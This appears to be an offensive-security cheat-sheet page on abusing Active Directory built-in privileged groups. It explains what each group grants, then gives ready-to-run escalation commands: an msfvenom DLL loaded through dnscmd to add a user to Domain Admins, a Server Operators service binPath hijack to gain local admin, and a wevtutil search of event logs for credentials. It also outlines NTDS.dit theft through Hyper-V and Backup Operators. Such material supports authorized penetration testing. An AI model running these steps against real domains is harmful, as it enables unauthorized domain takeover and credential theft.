AD Privileged Groups

AD ships with a set of built-in security groups, some of which grant members rights that lead straight to Domain Admin or SYSTEM on a Domain Controller, often without the group itself being called anything “admin.” Excessive membership in these is one of the most common findings in AD environments. This page covers what each group actually grants and how to abuse it, finding who’s in a given group is covered on AD Enumeration (Credentialed) (Get-DomainGroupMember), and BloodHound maps this membership against the rest of the domain automatically. Also a very nice CheatSheet from HackTricks Privileged Groups

Group	Grants
`Account Operators`	Create/modify most user, local-group and global-group accounts, log on locally to DCs. Cannot touch Administrators, Server Operators, Account Operators, Backup Operators, Print Operators, or the Administrator account itself.
`Backup Operators`	Back up/restore any file regardless of its permissions, and log on to / shut down DCs. Can shadow copy the SAM/NTDS database, treat as Domain Admin equivalent.
`DnsAdmins`	Access to DNS configuration on a DC, can be leveraged into SYSTEM via a malicious plugin DLL (below).
`Domain Admins`	Full administrative rights over the domain and local admin on every domain-joined machine.
`Enterprise Admins`	Forest-wide configuration rights (child domains, trusts) root-domain-only, Administrator is the only default member.
`Event Log Readers`	Read event logs on local computers only exists once a host is promoted to DC.
`Group Policy Creator Owners`	Create/edit/delete GPOs.
`Hyper-V Administrators`	Full control of Hyper-V if DCs are virtualized, equivalent to Domain Admin (below).
`Pre–Windows 2000 Compatible Access`	Legacy backward compatibility group membership (often a leftover) can let anyone on the network read AD info with no credentials at all.
`Print Operators`	Manage printers/printer objects on DCs, can log on to DCs locally and load a malicious printer driver.
`Protected Users`	Extra protections against credential theft (Kerberos abuse, etc.) a defensive group, not an abuse path.
`Remote Desktop Users`	Grants RDP logon rights.
`Remote Management Users`	Grants WinRM access.
`Schema Admins`	Modify the AD schema root-domain-only, Administrator is the only default member.
`Server Operators`	Administer servers (including DCs) without Domain Admin: modify services, access SMB shares, back up files.

DnsAdmins

The DNS service runs as NT AUTHORITY\SYSTEM and supports loading a custom plugin DLL with zero validation of its path, configurable over RPC via dnscmd. A DnsAdmins member can point that plugin path at an attacker-controlled DLL (hosted on a share the DC’s machine account can reach) and get it loaded the moment the service restarts.

# generate a malicious DLL (e.g. adds the current user to Domain Admins)
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll

# point the DNS service at it and restart
dnscmd.exe /config /serverlevelplugindll C:\Tools\adduser.dll

# stop and start the dns server
sc.exe stop dns
sc.exe start dns

# check domain admin privs
net group "Domain Admins" /dom

# restart the server or relogin in the account and verify

# To cleanup enter
reg delete \\<ip>\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
sc.exe start dns

Requires a DC restart (or relogon) to take effect, and the registry key is written as plaintext evidence until cleaned up. See HackTricks’ DnsAdmins writeup for the full attack chain and detection notes.

Server Operators

Can reconfigure any service’s binary path, including services that run as SYSTEM, and restart it. Let’s examine the AppReadiness service. We can confirm that this service starts as SYSTEM using the sc.exe utility.

sc.exe qc AppReadiness

# Modify the service
sc.exe config AppReadiness binPath= "cmd /c net localgroup Administrators <username> /add"

# Start the service to run the malicous command, it will fail
sc.exe start AppReadiness

# Check permissions
net localgroup Administrators

The service itself will fail to start (the binary path isn’t a real service), but the command still runs first.

Backup Operators

Grants SeBackupPrivilege domain-wide, full details (SAM/SYSTEM hive backup, the diskshadow NTDS.dit extraction method) are on Windows User Rights Assignment since the privilege itself, not the group, is what does the work.

Hyper-V Administrators

If any DC runs as a VM, full Hyper-V control is equivalent to Domain Admin: clone the running DC, mount its virtual disk offline, and pull NTDS.dit directly with no live-system protections involved at all. Separately, vmms.exe restores a deleted VM’s .vhdx file permissions as SYSTEM without impersonating the caller, a native hard link planted in its place before deletion inherits SYSTEM writable permissions on whatever that link actually points to.

Event Log Readers

Members can read event logs on local computers. The group is only created when a host is promoted to a domain controller.

# Read logs and search for the string user to get possible creds
wevtutil qe Security /rd:true /f:text | Select-String "/user"

Quick Reference Tools

AD Enumeration (Credentialed)

Find group membership for any of the groups above.

BloodHound

Graphs group membership against the rest of the domain to find the actual attack path.

Get Started

Web

Linux

Windows

Active Directory

Services & Protocols

Password Attacks

Lateral Movement

Techniques

Tools & Resources

AD Privileged Groups

DnsAdmins

Server Operators

Backup Operators

Hyper-V Administrators

Event Log Readers

Quick Reference Tools

AD Enumeration (Credentialed)

BloodHound

​DnsAdmins

​Server Operators

​Backup Operators

​Hyper-V Administrators

​Event Log Readers

​Quick Reference Tools

AD Enumeration (Credentialed)

BloodHound

DnsAdmins

Server Operators

Backup Operators

Hyper-V Administrators

Event Log Readers

Quick Reference Tools